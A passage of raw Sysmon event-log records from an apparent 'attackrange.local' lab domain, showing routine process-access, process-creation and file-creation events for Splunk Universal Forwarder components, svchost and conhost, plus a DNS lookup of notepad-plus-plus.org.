Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=03747F26BCAB220ED1B288348685EA1D,SHA256=7F3092D65FB0281EFC2B5BD92B37CEE998C0BF981C36EFE17785B940005DEBFA,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000046766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:16.549{00000000-0000-0000-0000-000000000000}6240notepad-plus-plus.org0::ffff:172.67.136.69;::ffff:104.21.26.128;<unknown process> 10341000x800000000000000046797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7034-613B-030B-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7034-613B-030B-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.931{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7034-613B-030B-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.932{7BD73061-7034-613B-030B-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.868{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D03B3C2687D6E4E2E3FA26EA48C01B5B,SHA256=11FECA0DD07C82EDE3ED44239D002CEA4F3A32D140667A7B86DBA222B1CA8EB5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.774{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D03B3C2687D6E4E2E3FA26EA48C01B5B,SHA256=11FECA0DD07C82EDE3ED44239D002CEA4F3A32D140667A7B86DBA222B1CA8EB5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.774{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A367C4DBEBB5AC5704A8072912347A25,SHA256=5F10D5616F59148EDEDD46A972011BB9DBAEE0D0BBD46BA7FB1B1AA7129BCF81,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.759{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB16CB804AEC223A3E0BB7328444DA91,SHA256=6551107D80EA9DD43585A8836E697DD15CA6C981040676CEB76AD0E69789B7D9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014532Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:20.240{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA4A05FE76C846F670E7938B0D0991F0,SHA256=91257E6DA18310C4BA87225C9A9243F98811D3E2F9D9E39EE9A6306CB9999828,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.478{7BD73061-7034-613B-020B-00000000F001}63687004C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7034-613B-020B-00000000F001}6368C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7034-613B-020B-00000000F001}6368C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.306{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7034-613B-020B-00000000F001}6368C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:20.182{7BD73061-7034-613B-020B-00000000F001}6368C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000046811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.821{7BD73061-7035-613B-040B-00000000F001}38326960C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.806{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1BE3A2E090CAB87A7D3BE43E93ABB0AF,SHA256=4EEB764880F35FDD4180CB43F9D0C265D544FA43290509CFD8D3DD2BE2B7C666,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014533Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:21.287{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B246B042D3FAE4C38D5493F1C8346846,SHA256=C85DD30C81326CD84DC9C3224E040477DEABCF5D787F72791AF543865803D0A1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7035-613B-040B-00000000F001}3832C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7035-613B-040B-00000000F001}3832C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:21.603{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7035-613B-040B-00000000F001}3832C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program 